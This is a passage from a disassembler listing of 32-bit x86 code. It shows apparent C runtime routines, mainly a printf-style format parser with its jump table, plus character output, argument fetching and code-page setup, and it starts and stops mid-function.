[eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_41FECC push edi push eax push ebx call sub_4230FB add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_41FEFF ; --------------------------------------------------------------------------- loc_41FECC: ; CODE XREF: sub_41FE2A+90j cmp ebx, 0FFFFFFFFh jz short loc_41FEE7 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DD040[eax*4] lea eax, [eax+ecx*8] jmp short loc_41FEEC ; --------------------------------------------------------------------------- loc_41FEE7: ; CODE XREF: sub_41FE2A+A5j mov eax, offset dword_43D4D0 loc_41FEEC: ; CODE XREF: sub_41FE2A+BBj test byte ptr [eax+4], 20h jz short loc_41FEFF push 2 push 0 push ebx call sub_422F09 add esp, 0Ch loc_41FEFF: ; CODE XREF: sub_41FE2A+A0j ; sub_41FE2A+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41FF1D ; --------------------------------------------------------------------------- loc_41FF09: ; CODE XREF: sub_41FE2A+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_4230FB add esp, 0Ch mov [ebp+arg_4], eax loc_41FF1D: ; CODE XREF: sub_41FE2A+DDj cmp [ebp+arg_4], edi pop edi jz short loc_41FF29 or dword ptr [esi+0Ch], 20h jmp short loc_41FF38 ; --------------------------------------------------------------------------- loc_41FF29: ; CODE XREF: sub_41FE2A+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_41FF3B ; --------------------------------------------------------------------------- loc_41FF33: ; CODE XREF: sub_41FE2A+10j ; sub_41FE2A+18j ... or al, 20h mov [esi+0Ch], eax loc_41FF38: ; CODE XREF: sub_41FE2A+FDj or eax, 0FFFFFFFFh loc_41FF3B: ; CODE XREF: sub_41FE2A+107j pop esi pop ebx pop ebp retn sub_41FE2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FF3F proc near ; CODE XREF: sub_41C266+29p ; sub_41C360+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_420658 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_41FF73 ; --------------------------------------------------------------------------- loc_41FF6B: ; CODE XREF: sub_41FF3F+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_41FF73: ; CODE XREF: sub_41FF3F+2Aj cmp [ebp+var_14], edx jl loc_420658 cmp bl, 20h jl short loc_41FF94 cmp bl, 78h jg short loc_41FF94 movsx eax, bl mov al, [eax+42771Ch] and eax, 0Fh jmp short loc_41FF96 ; --------------------------------------------------------------------------- loc_41FF94: ; CODE XREF: sub_41FF3F+40j ; sub_41FF3F+45j xor eax, eax loc_41FF96: ; CODE XREF: sub_41FF3F+53j movsx eax, byte_42773C[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_420647 ; default jmp off_420660[eax*4] ; switch jump loc_41FFB4: ; DATA XREF: ___:off_420660o or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041FFAD case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_41FFCF: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o movsx eax, bl ; jumptable 0041FFAD case 2 sub eax, 20h jz short loc_420012 sub eax, 3 jz short loc_420009 sub eax, 8 jz short loc_420000 dec eax dec eax jz short loc_41FFF7 sub eax, 3 jnz loc_420647 ; default or [ebp+var_4], 8 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_41FFF7: ; CODE XREF: sub_41FF3F+A4j or [ebp+var_4], 4 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420000: ; CODE XREF: sub_41FF3F+A0j or [ebp+var_4], 1 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420009: ; CODE XREF: sub_41FF3F+9Bj or byte ptr [ebp+var_4], 80h jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420012: ; CODE XREF: sub_41FF3F+96j or [ebp+var_4], 2 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_42001B: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o cmp bl, 2Ah ; jumptable 0041FFAD case 3 jnz short loc_420043 lea eax, [ebp+arg_8] push eax call sub_42071E test eax, eax pop ecx mov [ebp+var_20], eax jge loc_420647 ; default or [ebp+var_4], 4 neg eax loc_42003B: ; CODE XREF: sub_41FF3F+111j mov [ebp+var_20], eax jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420043: ; CODE XREF: sub_41FF3F+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] loc_42004C: ; DATA XREF: ___:00432860o ; ___:0043286Co lea eax, [ecx+eax*2-30h] jmp short loc_42003B ; --------------------------------------------------------------------------- loc_420052: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o mov [ebp+var_10], edx ; jumptable 0041FFAD case 4 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_42005A: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o cmp bl, 2Ah ; jumptable 0041FFAD case 5 jnz short loc_42007D lea eax, [ebp+arg_8] push eax call sub_42071E test eax, eax pop ecx mov [ebp+var_10], eax jge loc_420647 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_42007D: ; CODE XREF: sub_41FF3F+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_42008F: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o cmp bl, 49h ; jumptable 0041FFAD case 6 jz short loc_4200C2 cmp bl, 68h jz short loc_4200B9 cmp bl, 6Ch jz short loc_4200B0 cmp bl, 77h jnz loc_420647 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_4200B0: ; CODE XREF: sub_41FF3F+15Dj or [ebp+var_4], 10h jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_4200B9: ; CODE XREF: sub_41FF3F+158j or [ebp+var_4], 20h jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_4200C2: ; CODE XREF: sub_41FF3F+153j cmp byte ptr [edi], 36h jnz short loc_4200DB cmp byte ptr [edi+1], 34h jnz short loc_4200DB inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_4200DB: ; CODE XREF: sub_41FF3F+186j ; sub_41FF3F+18Cj mov [ebp+var_30], edx loc_4200DE: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o mov ecx, off_43CE78 ; jumptable 0041FFAD case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_42010A lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_420680 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_42010A: ; CODE XREF: sub_41FF3F+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_420680 add esp, 0Ch jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420122: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o movsx eax, bl ; jumptable 0041FFAD case 7 cmp eax, 67h jg loc_42034A cmp eax, 65h jge loc_4201CD cmp eax, 58h jg loc_42022B jz loc_4203BE sub eax, 43h jz loc_4201EE dec eax dec eax jz short loc_4201C3 dec eax dec eax jz short loc_4201C3 sub eax, 0Ch jnz loc_420549 test word ptr [ebp+var_4], 830h jnz short loc_42016C or byte ptr [ebp+var_4+1], 8 loc_42016C: ; CODE XREF: sub_41FF3F+227j ; sub_41FF3F+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_420179 mov esi, 7FFFFFFFh loc_420179: ; CODE XREF: sub_41FF3F+233j lea eax, [ebp+arg_8] push eax call sub_42071E test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_420392 test ecx, ecx jnz short loc_4201A1 mov ecx, off_43D094 mov [ebp+var_8], ecx loc_4201A1: ; CODE XREF: sub_41FF3F+257j mov [ebp+var_24], 1 mov eax, ecx loc_4201AA: ; CODE XREF: sub_41FF3F+282j mov edx, esi dec esi test edx, edx jz loc_420389 cmp word ptr [eax], 0 jz loc_420389 inc eax inc eax jmp short loc_4201AA ; --------------------------------------------------------------------------- loc_4201C3: ; CODE XREF: sub_41FF3F+212j ; sub_41FF3F+216j mov [ebp+var_34], 1 add bl, 20h loc_4201CD: ; CODE XREF: sub_41FF3F+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_4202B1 mov [ebp+var_10], 6 jmp loc_4202BF ; --------------------------------------------------------------------------- loc_4201EE: ; CODE XREF: sub_41FF3F+20Aj test word ptr [ebp+var_4], 830h jnz short loc_4201FA or byte ptr [ebp+var_4+1], 8 loc_4201FA: ; CODE XREF: sub_41FF3F+2B5j ; sub_41FF3F+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_420241 call sub_42073B push eax lea eax, [ebp+var_248] push eax call sub_424663 add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_420254 mov [ebp+var_28], 1 jmp short loc_420254 ; --------------------------------------------------------------------------- loc_42022B: ; CODE XREF: sub_41FF3F+1FBj sub eax, 5Ah jz short loc_420262 sub eax, 9 jz short loc_4201FA dec eax jz loc_420424 jmp loc_420549 ; --------------------------------------------------------------------------- loc_420241: ; CODE XREF: sub_41FF3F+2C5j call sub_42071E pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_420254: ; CODE XREF: sub_41FF3F+2E1j ; sub_41FF3F+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_420549 ; --------------------------------------------------------------------------- loc_420262: ; CODE XREF: sub_41FF3F+2EFj lea eax, [ebp+arg_8] push eax call sub_42071E test eax, eax pop ecx jz short loc_4202A3 mov ecx, [eax+4] test ecx, ecx jz short loc_4202A3 test byte ptr [ebp+var_4+1], 8 jz short loc_420294 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_420549 ; --------------------------------------------------------------------------- loc_420294: ; CODE XREF: sub_41FF3F+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_420546 ; --------------------------------------------------------------------------- loc_4202A3: ; CODE XREF: sub_41FF3F+32Fj ; sub_41FF3F+336j mov eax, off_43D090 mov [ebp+var_8], eax push eax jmp loc_42033F ; --------------------------------------------------------------------------- loc_4202B1: ; CODE XREF: sub_41FF3F+29Dj jnz short loc_4202BF cmp bl, 67h jnz short loc_4202BF mov [ebp+var_10], 1 loc_4202BF: ; CODE XREF: sub_41FF3F+2AAj ; sub_41FF3F:loc_4202B1j ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_43D420 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_420311 cmp [ebp+var_10], 0 jnz short loc_420311 lea eax, [ebp+var_248] push eax call off_43D42C pop ecx loc_420311: ; CODE XREF: sub_41FF3F+3BCj ; sub_41FF3F+3C2j cmp bl, 67h jnz short loc_420328 test esi, esi jnz short loc_420328 lea eax, [ebp+var_248] push eax call off_43D424 pop ecx loc_420328: ; CODE XREF: sub_41FF3F+3D5j ; sub_41FF3F+3D9j cmp [ebp+var_248], 2Dh jnz short loc_42033E or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_42033E: ; CODE XREF: sub_41FF3F+3F0j push edi loc_42033F: ; CODE XREF: sub_41FF3F+36Dj call sub_41B9C0 pop ecx jmp loc_420546 ; --------------------------------------------------------------------------- loc_42034A: ; CODE XREF: sub_41FF3F+1E9j sub eax, 69h jz loc_420424 sub eax, 5 jz loc_4203FA dec eax jz loc_4203E7 dec eax jz short loc_4203B7 sub eax, 3 jz loc_42016C dec eax dec eax jz loc_420428 sub eax, 3 jnz loc_420549 mov [ebp+var_2C], 27h jmp short loc_4203C5 ; --------------------------------------------------------------------------- loc_420389: ; CODE XREF: sub_41FF3F+270j ; sub_41FF3F+27Aj sub eax, ecx sar eax, 1 jmp loc_420546 ; --------------------------------------------------------------------------- loc_420392: ; CODE XREF: sub_41FF3F+24Fj test ecx, ecx jnz short loc_42039F mov ecx, off_43D090 mov [ebp+var_8], ecx loc_42039F: ; CODE XREF: sub_41FF3F+455j mov eax, ecx loc_4203A1: ; CODE XREF: sub_41FF3F+46Fj mov edx, esi dec esi test edx, edx jz short loc_4203B0 cmp byte ptr [eax], 0 jz short loc_4203B0 inc eax jmp short loc_4203A1 ; --------------------------------------------------------------------------- loc_4203B0: ; CODE XREF: sub_41FF3F+467j ; sub_41FF3F+46Cj sub eax, ecx jmp loc_420546 ; --------------------------------------------------------------------------- loc_4203B7: ; CODE XREF: sub_41FF3F+425j mov [ebp+var_10], 8 loc_4203BE: ; CODE XREF: sub_41FF3F+201j mov [ebp+var_2C], 7 loc_4203C5: ; CODE XREF: sub_41FF3F+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_42042F mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_42042F ; --------------------------------------------------------------------------- loc_4203E7: ; CODE XREF: sub_41FF3F+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_42042F or byte ptr [ebp+var_4+1], 2 jmp short loc_42042F ; --------------------------------------------------------------------------- loc_4203FA: ; CODE XREF: sub_41FF3F+417j lea eax, [ebp+arg_8] push eax call sub_42071E test byte ptr [ebp+var_4], 20h pop ecx jz short loc_420413 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_420418 ; --------------------------------------------------------------------------- loc_420413: ; CODE XREF: sub_41FF3F+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_420418: ; CODE XREF: sub_41FF3F+4D2j mov [ebp+var_28], 1 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420424: ; CODE XREF: sub_41FF3F+2F7j ; sub_41FF3F+40Ej or [ebp+var_4], 40h loc_420428: ; CODE XREF: sub_41FF3F+432j mov [ebp+var_C], 0Ah loc_42042F: ; CODE XREF: sub_41FF3F+491j ; sub_41FF3F+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_420441 lea eax, [ebp+arg_8] push eax call sub_42072B pop ecx jmp short loc_420482 ; --------------------------------------------------------------------------- loc_420441: ; CODE XREF: sub_41FF3F+4F4j test byte ptr [ebp+var_4], 20h jz short loc_420468 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_42045D call sub_42071E pop ecx movsx eax, ax loc_42045A: ; CODE XREF: sub_41FF3F+527j ; sub_41FF3F+539j cdq jmp short loc_420482 ; --------------------------------------------------------------------------- loc_42045D: ; CODE XREF: sub_41FF3F+510j call sub_42071E pop ecx movzx eax, ax jmp short loc_42045A ; --------------------------------------------------------------------------- loc_420468: ; CODE XREF: sub_41FF3F+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_42047A call sub_42071E pop ecx jmp short loc_42045A ; --------------------------------------------------------------------------- loc_42047A: ; CODE XREF: sub_41FF3F+531j call sub_42071E pop ecx xor edx, edx loc_420482: ; CODE XREF: sub_41FF3F+500j ; sub_41FF3F+51Cj test byte ptr [ebp+var_4], 40h jz short loc_4204A3 test edx, edx jg short loc_4204A3 jl short loc_420492 test eax, eax jnb short loc_4204A3 loc_420492: ; CODE XREF: sub_41FF3F+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_4204A7 ; --------------------------------------------------------------------------- loc_4204A3: ; CODE XREF: sub_41FF3F+547j ; sub_41FF3F+54Bj ... mov esi, eax mov edi, edx loc_4204A7: ; CODE XREF: sub_41FF3F+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_4204B0 and edi, 0 loc_4204B0: ; CODE XREF: sub_41FF3F+56Cj cmp [ebp+var_10], 0 jge short loc_4204BF mov [ebp+var_10], 1 jmp short loc_4204C3 ; --------------------------------------------------------------------------- loc_4204BF: ; CODE XREF: sub_41FF3F+575j and [ebp+var_4], 0FFFFFFF7h loc_4204C3: ; CODE XREF: sub_41FF3F+57Ej mov eax, esi or eax, edi jnz short loc_4204CD and [ebp+var_1C], 0 loc_4204CD: ; CODE XREF: sub_41FF3F+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_4204D3: ; CODE XREF: sub_41FF3F+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_4204E3 mov eax, esi or eax, edi jz short loc_42051E loc_4204E3: ; CODE XREF: sub_41FF3F+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_41DD20 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_41DCB0 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_420514 add ebx, [ebp+var_2C] loc_420514: ; CODE XREF: sub_41FF3F+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_4204D3 ; --------------------------------------------------------------------------- loc_42051E: ; CODE XREF: sub_41FF3F+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_420549 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_42053C test eax, eax jnz short loc_420549 loc_42053C: ; CODE XREF: sub_41FF3F+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_420546: ; CODE XREF: sub_41FF3F+35Fj ; sub_41FF3F+406j ... mov [ebp+var_C], eax loc_420549: ; CODE XREF: sub_41FF3F+21Bj ; sub_41FF3F+2FDj ... cmp [ebp+var_28], 0 jnz loc_420647 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_420581 test bh, 1 jz short loc_420566 mov [ebp+var_16], 2Dh jmp short loc_42057A ; --------------------------------------------------------------------------- loc_420566: ; CODE XREF: sub_41FF3F+61Fj test bl, 1 jz short loc_420571 mov [ebp+var_16], 2Bh jmp short loc_42057A ; --------------------------------------------------------------------------- loc_420571: ; CODE XREF: sub_41FF3F+62Aj test bl, 2 jz short loc_420581 mov [ebp+var_16], 20h loc_42057A: ; CODE XREF: sub_41FF3F+625j ; sub_41FF3F+630j mov [ebp+var_1C], 1 loc_420581: ; CODE XREF: sub_41FF3F+61Aj ; sub_41FF3F+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_4205A1 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_4206B5 add esp, 10h loc_4205A1: ; CODE XREF: sub_41FF3F+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_4206E6 add esp, 10h test bl, 8 jz short loc_4205D3 test bl, 4 jnz short loc_4205D3 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_4206B5 add esp, 10h loc_4205D3: ; CODE XREF: sub_41FF3F+67Bj ; sub_41FF3F+680j cmp [ebp+var_24], 0 jz short loc_42061A cmp [ebp+var_C], 0 jle short loc_42061A mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_4205E8: ; CODE XREF: sub_41FF3F+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_424663 pop ecx test eax, eax pop ecx jle short loc_42062F lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_4206E6 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_4205E8 jmp short loc_42062F ; --------------------------------------------------------------------------- loc_42061A: ; CODE XREF: sub_41FF3F+698j ; sub_41FF3F+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_4206E6 add esp, 10h loc_42062F: ; CODE XREF: sub_41FF3F+6BCj ; sub_41FF3F+6D9j test byte ptr [ebp+var_4], 4 jz short loc_420647 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_4206B5 add esp, 10h loc_420647: ; CODE XREF: sub_41FF3F+68j ; sub_41FF3F+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_41FF6B loc_420658: ; CODE XREF: sub_41FF3F+1Fj ; sub_41FF3F+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_41FF3F endp ; --------------------------------------------------------------------------- off_420660 dd offset loc_4200DE ; DATA XREF: sub_41FF3F+6Er dd offset loc_41FFB4 ; jump table for switch statement dd offset loc_41FFCF dd offset loc_42001B dd offset loc_420052 dd offset loc_42005A dd offset loc_42008F dd offset loc_420122 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420680 proc near ; CODE XREF: sub_41FF3F+1BDp ; sub_41FF3F+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_420699 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_4206A4 ; --------------------------------------------------------------------------- loc_420699: ; CODE XREF: sub_420680+9j push ecx push [ebp+arg_0] call sub_41FE2A pop ecx pop ecx loc_4206A4: ; CODE XREF: sub_420680+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_4206B1 or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_4206B1: ; CODE XREF: sub_420680+2Aj inc dword ptr [eax] pop ebp retn sub_420680 endp ; =============== S U B R O U T I N E ======================================= sub_4206B5 proc near ; CODE XREF: sub_41FF3F+65Ap ; sub_41FF3F+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_4206E3 mov esi, [esp+8+arg_C] loc_4206C6: ; CODE XREF: sub_4206B5+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_420680 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_4206E3 mov eax, edi dec edi test eax, eax jg short loc_4206C6 loc_4206E3: ; CODE XREF: sub_4206B5+Bj ; sub_4206B5+25j pop edi pop esi retn sub_4206B5 endp ; =============== S U B R O U T I N E ======================================= sub_4206E6 proc near ; CODE XREF: sub_41FF3F+670p ; sub_41FF3F+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_42071A mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_4206FC: ; CODE XREF: sub_4206E6+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_420680 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_42071A mov eax, ebx dec ebx test eax, eax jg short loc_4206FC loc_42071A: ; CODE XREF: sub_4206E6+Cj ; sub_4206E6+2Bj pop edi pop esi pop ebx retn sub_4206E6 endp ; =============== S U B R O U T I N E ======================================= sub_42071E proc near ; CODE XREF: sub_41FF3F+E5p ; sub_41FF3F+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_42071E endp ; =============== S U B R O U T I N E ======================================= sub_42072B proc near ; CODE XREF: sub_41FF3F+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_42072B endp ; =============== S U B R O U T I N E ======================================= sub_42073B proc near ; CODE XREF: sub_41FF3F+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_42073B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420749 proc near ; CODE XREF: sub_420B0D+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_4208E2 mov esi, eax pop ecx cmp esi, dword_4DD144 mov [ebp+arg_0], esi jz loc_4208D6 xor ebx, ebx cmp esi, ebx jz loc_4208CC xor edx, edx mov eax, offset dword_43D0A0 loc_42077D: ; CODE XREF: sub_420749+41j cmp [eax], esi jz short loc_4207F3 add eax, 30h inc edx cmp eax, offset dword_43D190 jl short loc_42077D lea eax, [ebp+var_18] push eax push esi call near ptr 2660000h nop cmp eax, 1 jnz loc_4208C4 push 40h xor eax, eax pop ecx mov edi, offset byte_4DD260 cmp [ebp+var_18], 1 mov dword_4DD144, esi rep stosd stosb mov dword_4DD364, ebx jbe loc_4208B2 cmp [ebp+var_12], 0 jz loc_420888 lea ecx, [ebp+var_11] loc_4207D0: ; CODE XREF: sub_420749+139j mov dl, [ecx] test dl, dl jz loc_420888 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_4207E1: ; CODE XREF: sub_420749+A8j cmp eax, edx ja loc_42087C or byte_4DD261[eax], 4 inc eax jmp short loc_4207E1 ; --------------------------------------------------------------------------- loc_4207F3: ; CODE XREF: sub_420749+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4DD260 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_43D0B0[esi] loc_42080F: ; CODE XREF: sub_420749+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_420842 loc_420816: ; CODE XREF: sub_420749+F7j mov dl, [ecx+1] test dl, dl jz short loc_420842 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_42083B mov edx, [ebp+var_4] mov dl, byte_43D098[edx] loc_420830: ; CODE XREF: sub_420749+F0j or byte_4DD261[eax], dl inc eax cmp eax, edi jbe short loc_420830 loc_42083B: ; CODE XREF: sub_420749+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_420816 loc_420842: ; CODE XREF: sub_420749+CBj ; sub_420749+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_42080F mov eax, [ebp+arg_0] mov dword_4DD15C, 1 push eax mov dword_4DD144, eax call sub_42092C lea esi, dword_43D0A4[esi] mov edi, offset dword_4DD150 movsd movsd pop ecx mov dword_4DD364, eax movsd jmp short loc_4208D1 ; --------------------------------------------------------------------------- loc_42087C: ; CODE XREF: sub_420749+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_4207D0 loc_420888: ; CODE XREF: sub_420749+7Ej ; sub_420749+8Bj push 1 pop eax loc_42088B: ; CODE XREF: sub_420749+14Fj or byte_4DD261[eax], 8 inc eax cmp eax, 0FFh jb short loc_42088B push esi call sub_42092C pop ecx mov dword_4DD364, eax mov dword_4DD15C, 1 jmp short loc_4208B8 ; --------------------------------------------------------------------------- loc_4208B2: ; CODE XREF: sub_420749+74j mov dword_4DD15C, ebx loc_4208B8: ; CODE XREF: sub_420749+167j xor eax, eax mov edi, offset dword_4DD150 stosd stosd stosd jmp short loc_4208D1 ; --------------------------------------------------------------------------- loc_4208C4: ; CODE XREF: sub_420749+51j cmp dword_4DBE4C, ebx jz short loc_4208DA loc_4208CC: ; CODE XREF: sub_420749+27j call sub_42095F loc_4208D1: ; CODE XREF: sub_420749+131j ; sub_420749+179j call sub_420988 loc_4208D6: ; CODE 